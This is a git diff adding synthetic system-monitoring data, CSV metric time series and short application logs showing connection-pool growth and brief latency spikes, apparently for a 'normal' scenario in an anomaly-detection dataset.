a/norm_dataset/scenario_15/norm_15_15.log b/norm_dataset/scenario_15/norm_15_15.log new file mode 100644 index 0000000000000000000000000000000000000000..b81fdd7923ef6ea41a150488c4557029edc3d369 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_15.log @@ -0,0 +1,20 @@ +Aug 23 10:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 23 10:00:05 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 23 10:00:10 HikariPool-1[4321]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:00:10 web-app[1234]: INFO: High traffic detected. Scaling connection pool. +Aug 23 10:00:15 HikariPool-1[4321]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:00:15 web-app[1234]: GET /api/v1/orders status=200 OK +Aug 23 10:00:20 HikariPool-1[4321]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:00:25 HikariPool-1[4321]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:00:25 web-app[1234]: POST /api/v1/data status=201 Created +Aug 23 10:00:30 HikariPool-1[4321]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:00:35 web-app[1234]: WARN: Connection pool reached 5 active connections. +Aug 23 10:00:50 web-app[1234]: GET /api/v1/user/56 status=200 OK +Aug 23 10:01:15 systemd[1]: Starting daily clean up activities... +Aug 23 10:01:40 web-app[1234]: GET /api/v1/products status=200 OK +Aug 23 10:02:30 web-app[1234]: GET /api/v1/user/78 status=200 OK +Aug 23 10:03:20 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:04:10 web-app[1234]: GET /api/v1/user/90 status=200 OK +Aug 23 10:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 23 10:05:50 web-app[1234]: GET /api/v1/user/11 status=200 OK +Aug 23 10:06:40 systemd[1]: Finished daily clean up activities. diff --git a/norm_dataset/scenario_15/norm_15_16.csv b/norm_dataset/scenario_15/norm_15_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..56cd8f0b9611d4dca2bbfdd0de00d55cc1973bc5 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,latency_ms,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,16.245848605174654,63.324144626725186,40.77592592876471,22.882358637457102,1.6099750233354513,1.5789320203861186 +2025-08-23T10:00:05Z,17.54954406688013,80.67040217256499,42.882208752009696,28.80222633339149,1.5049000704044968,1.1473567802505271 +2025-08-23T10:00:10Z,17.288480437496613,71.12840508416531,46.52699271736625,23.44617585241324,1.1665036585306015,1.0539129711346669 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+2025-08-23T10:07:15Z,18.597498174968067,46.376396302309466,44.30084422388778,35.51652456200126,1.5811357391929015,1.4744701628080408 +2025-08-23T10:07:20Z,14.399282648153351,64.47815510973088,49.70117034221767,31.229444541304055,1.16168184565786,1.182819276127783 +2025-08-23T10:07:25Z,14.468201936779028,93.9967168027163,43.05103090511772,33.330838206205044,1.4262207578615695,1.3001769653152246 diff --git a/norm_dataset/scenario_15/norm_15_16.log b/norm_dataset/scenario_15/norm_15_16.log new file mode 100644 index 0000000000000000000000000000000000000000..91f570bc46cdc0db36e42777793ba23f802cf90c --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_16.log @@ -0,0 +1,20 @@ +Aug 23 10:00:00 web-app[1234]: GET /api/v1/user/65 status=200 OK +Aug 23 10:00:10 web-app[1234]: GET /api/v1/user/313 status=200 OK +Aug 23 10:00:35 web-app[1234]: GET /api/v1/user/386 status=200 OK +Aug 23 10:00:50 web-app[1234]: GET /api/v1/user/162 status=201 OK +Aug 23 10:00:55 web-app[1234]: GET /api/v1/user/73 status=200 OK +Aug 23 10:01:10 web-app[1234]: GET /api/v1/user/28 status=200 OK +Aug 23 10:01:20 web-app[1234]: GET /api/v1/user/55 status=201 OK +Aug 23 10:01:35 web-app[1234]: GET /api/v1/user/207 status=200 OK +Aug 23 10:01:50 web-app[1234]: GET /api/v1/user/312 status=200 OK +Aug 23 10:02:10 hikari-pool[4321]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:02:15 hikari-pool[4321]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:02:20 web-app[1234]: GET /api/v1/user/302 status=200 OK +Aug 23 10:02:25 hikari-pool[4321]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:02:40 hikari-pool[4321]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:02:45 hikari-pool[4321]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:02:55 web-app[1234]: GET /api/v1/user/121 status=200 OK +Aug 23 10:03:05 web-app[1234]: GET /api/v1/user/439 status=200 OK +Aug 23 10:03:20 web-app[1234]: GET /api/v1/user/302 status=200 OK +Aug 23 10:03:40 web-app[1234]: GET /api/v1/user/468 status=200 OK +Aug 23 10:03:45 web-app[1234]: GET /api/v1/user/198 status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_17.csv b/norm_dataset/scenario_15/norm_15_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..74b3bb2656c62b4a65f20ac8a4767425ef902916 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,app_latency_ms +2025-08-15T10:00:00Z,15.54,44.53,18.07,1.67,49.97 +2025-08-15T10:00:05Z,15.62,44.67,21.97,1.4,49.74 +2025-08-15T10:00:10Z,15.68,44.56,19.98,1.38,49.54 +2025-08-15T10:00:15Z,16.77,45.71,22.66,1.51,49.29 +2025-08-15T10:00:20Z,15.56,44.89,24.52,1.73,49.18 +2025-08-15T10:00:25Z,17.22,46.7,21.8,1.5,50.02 +2025-08-15T10:00:30Z,16.49,45.98,24.56,1.53,50.05 +2025-08-15T10:00:35Z,16.79,47.24,23.46,1.9,50.79 +2025-08-15T10:00:40Z,18.1,47.13,23.36,1.92,50.23 +2025-08-15T10:00:45Z,18.89,47.16,27.82,1.7,49.64 +2025-08-15T10:00:50Z,18.18,46.58,28.37,1.85,49.4 +2025-08-15T10:00:55Z,19.47,45.89,28.97,1.91,49.35 +2025-08-15T10:01:00Z,19.64,47.35,25.7,1.91,49.39 +2025-08-15T10:01:05Z,18.26,47.6,27.27,1.72,50.01 +2025-08-15T10:01:10Z,18.99,47.34,28.04,2.11,49.12 +2025-08-15T10:01:15Z,19.73,47.96,29.2,1.9,50.54 +2025-08-15T10:01:20Z,19.38,48.74,28.53,1.98,49.43 +2025-08-15T10:01:25Z,20.05,48.15,28.85,1.93,50.3 +2025-08-15T10:01:30Z,18.93,47.73,31.06,2.1,49.84 +2025-08-15T10:01:35Z,20.61,48.46,31.07,1.98,50.49 +2025-08-15T10:01:40Z,19.14,48.41,28.46,2.1,49.32 +2025-08-15T10:01:45Z,20.27,48.24,30.11,2.12,50.23 +2025-08-15T10:01:50Z,19.63,47.04,30.58,1.88,49.54 +2025-08-15T10:01:55Z,19.09,46.92,29.41,1.82,50.21 +2025-08-15T10:02:00Z,20.1,48.02,28.91,1.84,49.77 +2025-08-15T10:02:05Z,20.33,46.84,31.07,2.01,49.74 +2025-08-15T10:02:10Z,20.31,46.5,29.44,2.07,50.17 +2025-08-15T10:02:15Z,20.58,48.55,30.87,1.91,49.27 +2025-08-15T10:02:20Z,20.51,46.63,28.7,2.1,49.23 +2025-08-15T10:02:25Z,19.42,46.46,28.72,2.03,49.56 +2025-08-15T10:02:30Z,33.55,48.99,30.0,7.31,299.62 +2025-08-15T10:02:35Z,29.47,46.9,28.68,6.88,199.41 +2025-08-15T10:02:40Z,26.14,46.88,26.64,6.53,99.68 +2025-08-15T10:02:45Z,21.48,45.89,27.66,6.56,49.88 +2025-08-15T10:02:50Z,19.21,46.52,26.55,7.19,49.78 +2025-08-15T10:02:55Z,17.78,47.67,27.81,7.03,50.56 +2025-08-15T10:03:00Z,16.96,45.55,26.2,6.1,49.69 +2025-08-15T10:03:05Z,18.49,47.19,23.79,6.54,49.28 +2025-08-15T10:03:10Z,17.71,45.3,23.08,7.09,50.92 +2025-08-15T10:03:15Z,16.03,45.48,25.3,6.51,49.9 +2025-08-15T10:03:20Z,15.94,46.35,23.13,6.5,49.69 +2025-08-15T10:03:25Z,16.58,47.23,22.32,7.29,49.59 +2025-08-15T10:03:30Z,16.49,46.69,20.22,6.11,50.61 +2025-08-15T10:03:35Z,14.71,46.55,20.76,6.25,49.89 +2025-08-15T10:03:40Z,14.4,45.09,20.68,6.66,50.0 +2025-08-15T10:03:45Z,14.55,44.26,19.78,6.45,50.41 +2025-08-15T10:03:50Z,14.03,43.57,21.9,6.43,49.61 +2025-08-15T10:03:55Z,13.88,45.19,20.46,6.34,49.43 +2025-08-15T10:04:00Z,13.72,43.13,22.1,6.33,49.98 +2025-08-15T10:04:05Z,12.75,45.45,24.67,6.19,49.01 +2025-08-15T10:04:10Z,12.37,42.75,24.15,5.91,49.88 +2025-08-15T10:04:15Z,12.32,44.33,25.65,5.77,49.1 +2025-08-15T10:04:20Z,11.78,42.05,24.53,6.63,50.45 +2025-08-15T10:04:25Z,11.54,42.41,25.53,6.24,49.39 +2025-08-15T10:04:30Z,11.81,43.61,27.04,6.24,49.41 +2025-08-15T10:04:35Z,12.43,42.48,25.84,6.11,50.46 +2025-08-15T10:04:40Z,11.84,43.26,26.77,6.08,49.58 +2025-08-15T10:04:45Z,11.66,43.31,26.76,6.31,50.35 +2025-08-15T10:04:50Z,9.93,42.79,27.0,5.9,50.17 +2025-08-15T10:04:55Z,10.92,41.68,28.99,5.87,50.94 +2025-08-15T10:05:00Z,11.38,41.61,30.79,1.12,50.21 +2025-08-15T10:05:05Z,9.6,40.92,27.84,1.18,49.51 +2025-08-15T10:05:10Z,9.58,40.91,27.97,1.21,50.64 +2025-08-15T10:05:15Z,10.81,41.65,29.62,1.06,50.33 +2025-08-15T10:05:20Z,10.97,41.18,27.83,1.09,49.35 +2025-08-15T10:05:25Z,10.98,40.94,29.11,0.88,50.68 +2025-08-15T10:05:30Z,10.16,41.37,29.82,0.92,50.12 +2025-08-15T10:05:35Z,10.37,41.01,29.6,0.99,49.38 +2025-08-15T10:05:40Z,9.63,43.16,29.79,1.02,49.11 +2025-08-15T10:05:45Z,9.61,42.59,28.62,1.02,50.65 +2025-08-15T10:05:50Z,9.41,42.63,29.81,0.86,49.49 +2025-08-15T10:05:55Z,10.25,43.29,29.97,1.17,49.37 +2025-08-15T10:06:00Z,11.07,41.69,29.62,1.02,49.19 +2025-08-15T10:06:05Z,11.22,43.68,28.98,0.86,49.75 +2025-08-15T10:06:10Z,11.45,43.06,29.77,1.23,49.01 +2025-08-15T10:06:15Z,10.52,41.04,29.2,1.16,49.74 +2025-08-15T10:06:20Z,11.63,42.1,27.38,0.99,51.0 +2025-08-15T10:06:25Z,11.64,41.7,28.22,1.2,50.88 +2025-08-15T10:06:30Z,11.55,42.73,28.99,1.04,50.44 +2025-08-15T10:06:35Z,11.63,43.08,24.95,1.33,49.36 +2025-08-15T10:06:40Z,12.76,42.01,26.12,1.17,49.17 +2025-08-15T10:06:45Z,11.56,42.34,24.52,1.32,50.82 +2025-08-15T10:06:50Z,12.71,42.67,26.67,1.24,49.96 +2025-08-15T10:06:55Z,12.54,44.59,23.14,1.18,50.65 +2025-08-15T10:07:00Z,13.24,43.65,21.85,1.39,50.47 +2025-08-15T10:07:05Z,12.98,43.79,23.64,1.3,50.8 +2025-08-15T10:07:10Z,14.71,44.27,23.53,1.48,50.88 +2025-08-15T10:07:15Z,15.21,43.38,19.94,1.45,50.63 +2025-08-15T10:07:20Z,15.32,44.62,22.19,1.38,50.73 +2025-08-15T10:07:25Z,15.38,46.44,19.31,1.56,50.54 diff --git a/norm_dataset/scenario_15/norm_15_17.log b/norm_dataset/scenario_15/norm_15_17.log new file mode 100644 index 0000000000000000000000000000000000000000..2f758e0aad49a623f0451d5152b3c135f0664cf0 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_17.log @@ -0,0 +1,20 @@ +Aug 15 10:00:10 webapp-prod[4521]: GET /api/v1/health status=200 OK +Aug 15 10:00:45 webapp-prod[4521]: User 'admin' logged in successfully from 192.168.1.100 +Aug 15 10:01:20 systemd[1]: Starting daily backup job... +Aug 15 10:02:05 webapp-prod[4521]: GET /api/v1/dashboard status=200 OK +Aug 15 10:02:31 HikariPool-1[8331]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:02:32 webapp-prod[4521]: GET /api/v1/process-batch status=200 OK, latency=310ms +Aug 15 10:02:34 HikariPool-1[8331]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:02:35 webapp-prod[4521]: GET /api/v1/process-batch status=200 OK, latency=255ms +Aug 15 10:02:36 HikariPool-1[8331]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:02:38 webapp-prod[4521]: GET /api/v1/process-batch status=200 OK, latency=150ms +Aug 15 10:02:41 HikariPool-1[8331]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:02:43 webapp-prod[4521]: GET /api/v1/process-batch status=200 OK, latency=85ms +Aug 15 10:02:46 webapp-prod[4521]: GET /api/v1/process-batch status=200 OK, latency=60ms +Aug 15 10:02:50 HikariPool-1[8331]: DEBUG: Pool 'HikariPool-1' - Pool stats (total=10, active=8, idle=2, waiting=0) +Aug 15 10:03:30 webapp-prod[4521]: GET /api/v1/process-batch status=200 OK, latency=55ms +Aug 15 10:04:00 CRON[8554]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:04:40 webapp-prod[4521]: GET /api/v1/process-batch status=200 OK, latency=58ms +Aug 15 10:05:30 webapp-prod[4521]: GET /api/v1/health status=200 OK +Aug 15 10:06:30 webapp-prod[4521]: GET /api/v1/dashboard status=200 OK +Aug 15 10:07:20 systemd[1]: Finished daily backup job. diff --git a/norm_dataset/scenario_15/norm_15_18.csv b/norm_dataset/scenario_15/norm_15_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..069170fc5192d7ff0373981f71a470cf561fe571 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,latency_ms +2025-08-23T10:00:00Z,15.75,40.19,31.88,1.29,0.88,79.37 +2025-08-23T10:00:05Z,14.79,41.94,27.43,0.71,1.03,89.55 +2025-08-23T10:00:10Z,15.97,38.6,26.79,1.23,0.78,70.14 +2025-08-23T10:00:15Z,17.28,39.34,31.45,1.0,0.86,85.04 +2025-08-23T10:00:20Z,14.65,39.22,29.33,0.8,0.9,74.7 +2025-08-23T10:00:25Z,14.65,37.07,32.14,1.09,0.74,72.07 +2025-08-23T10:00:30Z,17.37,40.59,31.42,1.04,0.83,78.93 +2025-08-23T10:00:35Z,16.15,40.52,29.78,0.88,0.8,69.65 +2025-08-23T10:00:40Z,14.3,40.01,27.46,1.01,0.81,74.46 +2025-08-23T10:00:45Z,15.81,39.53,25.46,0.92,0.68,68.02 +2025-08-23T10:00:50Z,14.3,37.17,28.66,1.02,0.8,99.65 +2025-08-23T10:00:55Z,14.3,39.16,32.57,1.13,0.87,80.35 +2025-08-23T10:01:00Z,15.36,39.31,30.64,1.32,1.02,73.0 +2025-08-23T10:01:05Z,12.13,38.4,26.26,0.75,0.94,82.14 +2025-08-23T10:01:10Z,12.41,39.68,30.52,1.43,1.12,78.88 +2025-08-23T10:01:15Z,24.99,40.81,31.16,0.61,0.68,277.79 +2025-08-23T10:01:20Z,22.35,43.77,27.35,0.97,0.93,336.14 +2025-08-23T10:01:25Z,26.0,40.35,30.46,1.12,0.83,267.58 +2025-08-23T10:01:30Z,25.08,40.52,30.17,1.06,1.13,194.69 +2025-08-23T10:01:35Z,20.41,39.85,26.57,0.88,0.68,124.24 +2025-08-23T10:01:40Z,26.4,36.16,31.07,0.96,0.67,97.25 +2025-08-23T10:01:45Z,25.24,39.95,31.68,0.9,0.71,66.98 +2025-08-23T10:01:50Z,24.9,40.12,33.25,0.88,0.48,69.85 +2025-08-23T10:01:55Z,23.23,44.93,33.16,1.17,0.72,95.67 +2025-08-23T10:02:00Z,23.58,39.62,25.87,1.07,0.69,97.45 +2025-08-23T10:02:05Z,15.17,40.6,27.19,0.86,0.82,77.51 +2025-08-23T10:02:10Z,13.27,39.93,31.55,1.18,0.85,85.77 +2025-08-23T10:02:15Z,15.56,37.66,31.54,1.06,1.08,83.11 +2025-08-23T10:02:20Z,14.1,42.29,31.55,1.16,0.94,110.79 +2025-08-23T10:02:25Z,14.56,41.5,41.56,1.13,0.71,91.2 +2025-08-23T10:02:30Z,14.1,41.58,31.71,0.83,0.67,78.72 +2025-08-23T10:02:35Z,17.78,38.18,33.41,0.89,0.87,70.44 +2025-08-23T10:02:40Z,14.98,42.81,32.86,1.15,0.6,63.94 +2025-08-23T10:02:45Z,13.41,37.2,31.95,1.12,1.07,82.03 +2025-08-23T10:02:50Z,16.23,41.17,29.05,1.0,0.98,72.44 +2025-08-23T10:02:55Z,13.17,44.38,32.28,1.02,0.73,65.78 +2025-08-23T10:03:00Z,15.31,38.02,27.68,1.26,0.54,73.53 +2025-08-23T10:03:05Z,12.06,38.87,29.29,0.88,1.0,69.18 +2025-08-23T10:03:10Z,13.01,40.2,28.54,1.11,0.78,96.87 +2025-08-23T10:03:15Z,15.3,38.99,30.25,0.96,0.99,88.82 +2025-08-23T10:03:20Z,16.11,36.9,36.94,0.96,0.56,79.92 +2025-08-23T10:03:25Z,15.26,40.14,24.4,1.22,0.71,94.8 +2025-08-23T10:03:30Z,14.83,37.88,32.06,1.17,0.8,80.77 +2025-08-23T10:03:35Z,14.55,40.95,25.16,1.16,0.81,71.39 +2025-08-23T10:03:40Z,12.78,38.16,28.58,1.26,0.73,95.23 +2025-08-23T10:03:45Z,13.92,43.1,33.27,1.0,0.89,85.39 +2025-08-23T10:03:50Z,14.31,38.43,30.19,1.14,0.64,69.63 +2025-08-23T10:03:55Z,16.59,39.36,26.77,0.94,0.78,78.1 +2025-08-23T10:04:00Z,15.52,41.63,27.85,1.06,0.82,71.24 +2025-08-23T10:04:05Z,12.36,37.54,32.04,0.97,0.88,66.17 +2025-08-23T10:04:10Z,15.49,40.45,27.81,1.02,0.91,89.26 +2025-08-23T10:04:15Z,14.42,42.61,30.65,1.12,0.63,99.09 +2025-08-23T10:04:20Z,13.98,36.79,30.14,0.84,0.57,66.01 +2025-08-23T10:04:25Z,15.92,40.37,28.05,1.42,0.99,85.63 +2025-08-23T10:04:30Z,16.55,40.52,36.43,0.8,0.85,73.49 +2025-08-23T10:04:35Z,16.4,41.56,31.9,0.76,0.69,75.13 +2025-08-23T10:04:40Z,13.74,37.53,23.92,1.23,1.03,74.08 +2025-08-23T10:04:45Z,14.54,37.36,30.56,1.16,0.82,71.36 +2025-08-23T10:04:50Z,15.5,41.04,28.01,1.12,0.98,80.49 +2025-08-23T10:04:55Z,16.46,40.59,32.56,1.13,0.81,71.69 +2025-08-23T10:05:00Z,14.28,40.5,27.62,1.0,1.11,82.7 +2025-08-23T10:05:05Z,14.72,40.69,29.66,0.82,1.06,79.5 +2025-08-23T10:05:10Z,13.34,38.64,31.51,1.02,0.76,77.61 +2025-08-23T10:05:15Z,13.21,40.46,32.6,0.86,0.95,70.92 +2025-08-23T10:05:20Z,16.22,40.59,26.4,1.2,0.9,74.23 +2025-08-23T10:05:25Z,17.03,38.57,29.0,0.97,1.01,87.55 +2025-08-23T10:05:30Z,14.89,43.73,28.58,0.83,0.66,85.01 +2025-08-23T10:05:35Z,16.51,40.95,28.04,0.94,0.9,70.22 +2025-08-23T10:05:40Z,15.54,37.62,35.3,1.08,0.96,80.99 +2025-08-23T10:05:45Z,14.03,41.31,31.21,0.89,0.54,87.51 +2025-08-23T10:05:50Z,15.54,38.05,26.22,0.84,0.62,63.31 +2025-08-23T10:05:55Z,17.31,41.57,32.75,1.05,0.49,85.43 +2025-08-23T10:06:00Z,14.95,42.32,36.37,1.05,0.76,73.37 +2025-08-23T10:06:05Z,17.35,38.36,33.1,0.9,0.91,85.71 +2025-08-23T10:06:10Z,11.07,41.93,25.44,0.91,1.03,72.37 +2025-08-23T10:06:15Z,16.23,40.83,28.55,1.05,0.81,61.95 +2025-08-23T10:06:20Z,15.13,41.64,33.8,0.71,1.04,63.72 +2025-08-23T10:06:25Z,14.55,43.79,27.88,0.72,0.59,80.48 +2025-08-23T10:06:30Z,15.14,39.51,31.33,0.86,0.54,82.6 +2025-08-23T10:06:35Z,12.02,38.49,32.32,0.96,0.79,70.96 +2025-08-23T10:06:40Z,14.67,38.22,27.22,1.06,0.86,86.39 +2025-08-23T10:06:45Z,15.54,38.37,29.82,1.3,0.8,63.38 +2025-08-23T10:06:50Z,17.22,39.85,20.28,1.17,0.49,79.34 +2025-08-23T10:06:55Z,14.22,40.68,26.93,0.97,0.79,67.89 +2025-08-23T10:07:00Z,13.79,40.55,29.24,1.0,0.6,73.48 +2025-08-23T10:07:05Z,14.25,41.65,26.26,0.8,0.9,80.47 +2025-08-23T10:07:10Z,16.37,40.03,34.9,1.0,0.85,71.4 +2025-08-23T10:07:15Z,15.49,42.91,25.71,0.94,0.66,76.15 +2025-08-23T10:07:20Z,14.21,39.47,28.68,1.06,0.72,90.06 +2025-08-23T10:07:25Z,15.77,45.44,30.39,0.83,0.64,74.23 diff --git a/norm_dataset/scenario_15/norm_15_18.log b/norm_dataset/scenario_15/norm_15_18.log new file mode 100644 index 0000000000000000000000000000000000000000..c752e806400770ab3f2e51e4b1119c182b862c14 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_18.log @@ -0,0 +1,20 @@ +Aug 23 10:01:15 db-pool-manager[4321]: DEBUG: Pool 'HikariPool-1' - Adding new connection. (total=1) +Aug 23 10:01:27 db-pool-manager[4321]: DEBUG: Pool 'HikariPool-1' - Adding new connection. (total=2) +Aug 23 10:01:40 db-pool-manager[4321]: DEBUG: Pool 'HikariPool-1' - Adding new connection. (total=3) +Aug 23 10:01:52 db-pool-manager[4321]: DEBUG: Pool 'HikariPool-1' - Adding new connection. (total=4) +Aug 23 10:02:05 db-pool-manager[4321]: DEBUG: Pool 'HikariPool-1' - Adding new connection. (total=5) +Aug 23 10:02:05 systemd[1]: Starting daily clean up activities... +Aug 23 10:02:20 web-app[1234]: INFO: GET /api/v1/user/45 status=200 OK +Aug 23 10:03:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 23 10:04:00 web-app[1234]: INFO: GET /api/v1/user/45 status=200 OK +Aug 23 10:04:55 web-app[1234]: INFO: POST /api/v1/orders status=201 CREATED +Aug 23 10:05:10 web-app[1234]: INFO: GET /api/v1/products status=200 OK +Aug 23 10:05:15 web-app[1234]: INFO: GET /api/v1/products status=200 OK +Aug 23 10:05:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 23 10:05:35 web-app[1234]: INFO: GET /api/v1/products status=200 OK +Aug 23 10:05:40 web-app[1234]: INFO: GET /api/v1/products status=200 OK +Aug 23 10:06:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 23 10:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 23 10:06:25 web-app[1234]: INFO: POST /api/v1/orders status=201 CREATED +Aug 23 10:07:00 web-app[1234]: INFO: GET /api/v1/products status=200 OK +Aug 23 10:07:25 web-app[1234]: INFO: GET /api/v1/products status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_19.csv b/norm_dataset/scenario_15/norm_15_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..7f127b1dc2001e608d3da67f4dd6a9e4e45f311a --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,app_latency_ms,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,15.99,79.37,45.29,23.13,1.93,1.36 +2025-08-15T10:00:05Z,14.72,89.55,47.96,15.71,1.07,1.66 +2025-08-15T10:00:10Z,16.3,70.14,43.01,14.65,1.85,1.17 +2025-08-15T10:00:15Z,18.05,85.04,44.19,22.41,1.5,1.32 +2025-08-15T10:00:20Z,14.53,74.7,44.05,18.88,1.21,1.41 +2025-08-15T10:00:25Z,14.53,72.07,40.89,23.57,1.64,1.08 +2025-08-15T10:00:30Z,18.16,78.93,46.23,22.37,1.56,1.27 +2025-08-15T10:00:35Z,16.53,69.65,46.18,19.64,1.32,1.2 +2025-08-15T10:00:40Z,14.06,74.46,45.46,15.77,1.52,1.23 +2025-08-15T10:00:45Z,16.09,68.02,44.8,12.43,1.38,0.97 +2025-08-15T10:00:50Z,14.07,99.65,41.32,17.77,1.53,1.21 +2025-08-15T10:00:55Z,14.07,80.35,44.36,24.28,1.7,1.35 +2025-08-15T10:01:00Z,15.48,73.0,44.65,21.07,1.98,1.64 +2025-08-15T10:01:05Z,11.17,82.14,43.32,13.77,1.13,1.49 +2025-08-15T10:01:10Z,11.55,78.88,45.3,20.87,2.14,1.85 +2025-08-15T10:01:15Z,13.88,77.79,47.05,21.93,0.91,0.97 +2025-08-15T10:01:20Z,12.97,86.14,51.56,15.58,1.45,1.46 +2025-08-15T10:01:25Z,15.63,87.58,46.48,20.77,1.68,1.26 +2025-08-15T10:01:30Z,13.18,74.69,46.78,20.29,1.58,1.86 +2025-08-15T10:01:35Z,12.18,74.24,45.84,14.29,1.31,0.96 +2025-08-15T10:01:40Z,35.44,495.81,40.37,21.79,7.28,7.62 +2025-08-15T10:01:45Z,26.16,426.78,46.1,22.8,8.52,6.35 +2025-08-15T10:01:50Z,31.72,469.18,46.42,25.42,7.58,5.34 +2025-08-15T10:01:55Z,31.48,93.67,53.68,25.27,8.09,6.87 +2025-08-15T10:02:00Z,21.5,96.45,45.77,13.11,7.2,3.76 +2025-08-15T10:02:05Z,27.83,77.51,47.31,15.31,6.8,6.48 +2025-08-15T10:02:10Z,29.43,85.77,46.36,22.58,7.34,7.07 +2025-08-15T10:02:15Z,30.14,83.11,43.01,22.57,7.99,5.28 +2025-08-15T10:02:20Z,13.8,110.79,50.0,22.58,7.32,7.63 +2025-08-15T10:02:25Z,14.42,91.2,48.89,39.26,7.98,6.37 +2025-08-15T10:02:30Z,13.8,78.72,49.06,22.85,9.33,5.52 +2025-08-15T10:02:35Z,18.7,70.44,44.01,25.68,8.2,6.98 +2025-08-15T10:02:40Z,14.97,63.94,51.01,24.77,7.4,8.07 +2025-08-15T10:02:45Z,12.88,82.03,42.65,23.26,8.88,6.93 +2025-08-15T10:02:50Z,16.65,72.44,48.67,18.42,7.09,6.8 +2025-08-15T10:02:55Z,12.56,65.78,53.54,23.79,5.5,5.6 +2025-08-15T10:03:00Z,15.42,73.53,44.05,16.14,6.88,4.84 +2025-08-15T10:03:05Z,11.08,69.18,45.38,18.82,5.45,7.44 +2025-08-15T10:03:10Z,12.34,96.87,47.43,17.57,7.31,5.31 +2025-08-15T10:03:15Z,15.39,88.82,45.68,20.41,7.46,6.64 +2025-08-15T10:03:20Z,16.48,79.92,42.6,31.57,1.43,0.72 +2025-08-15T10:03:25Z,15.34,94.8,47.51,10.66,1.83,1.02 +2025-08-15T10:03:30Z,14.77,80.77,44.17,23.43,1.75,1.2 +2025-08-15T10:03:35Z,14.4,71.39,48.84,11.94,1.74,1.21 +2025-08-15T10:03:40Z,12.04,95.23,44.71,17.64,1.89,1.06 +2025-08-15T10:03:45Z,13.56,85.39,52.18,25.44,1.51,1.39 +2025-08-15T10:03:50Z,14.08,69.63,45.23,20.32,1.7,0.88 +2025-08-15T10:03:55Z,17.11,78.1,46.67,14.61,1.41,1.16 +2025-08-15T10:04:00Z,15.69,71.24,50.14,16.42,1.6,1.24 +2025-08-15T10:04:05Z,11.47,66.17,44.06,23.4,1.46,1.35 +2025-08-15T10:04:10Z,15.65,89.26,48.49,16.35,1.53,1.41 +2025-08-15T10:04:15Z,14.23,99.09,51.79,21.08,1.68,0.86 +2025-08-15T10:04:20Z,13.65,66.01,43.1,20.23,1.25,0.74 +2025-08-15T10:04:25Z,16.22,85.63,48.53,16.74,2.13,1.58 +2025-08-15T10:04:30Z,17.06,73.49,48.81,30.72,1.2,1.3 +2025-08-15T10:04:35Z,16.86,75.13,50.44,23.17,1.14,0.98 +2025-08-15T10:04:40Z,13.32,74.08,44.44,9.87,1.85,1.67 +2025-08-15T10:04:45Z,14.38,71.36,44.24,20.93,1.74,1.23 +2025-08-15T10:04:50Z,15.66,80.49,49.82,16.69,1.69,1.55 +2025-08-15T10:04:55Z,16.95,71.69,49.21,24.26,1.69,1.22 +2025-08-15T10:05:00Z,14.04,82.7,49.12,16.04,1.5,1.82 +2025-08-15T10:05:05Z,14.63,79.5,49.47,19.43,1.23,1.73 +2025-08-15T10:05:10Z,12.79,77.61,46.44,22.52,1.52,1.13 +2025-08-15T10:05:15Z,12.61,70.92,49.24,24.33,1.3,1.49 +2025-08-15T10:05:20Z,16.63,74.23,49.47,14.0,1.79,1.39 +2025-08-15T10:05:25Z,17.71,87.55,46.51,18.33,1.46,1.61 +2025-08-15T10:05:30Z,14.86,85.01,54.31,17.63,1.25,0.91 +2025-08-15T10:05:35Z,17.01,70.22,50.19,16.73,1.4,1.41 +2025-08-15T10:05:40Z,15.72,80.99,45.25,28.83,1.62,1.52 +2025-08-15T10:05:45Z,13.71,87.51,50.85,22.02,1.33,0.67 +2025-08-15T10:05:50Z,15.72,63.31,46.01,13.7,1.25,0.85 +2025-08-15T10:05:55Z,18.08,85.43,51.35,24.59,1.57,0.59 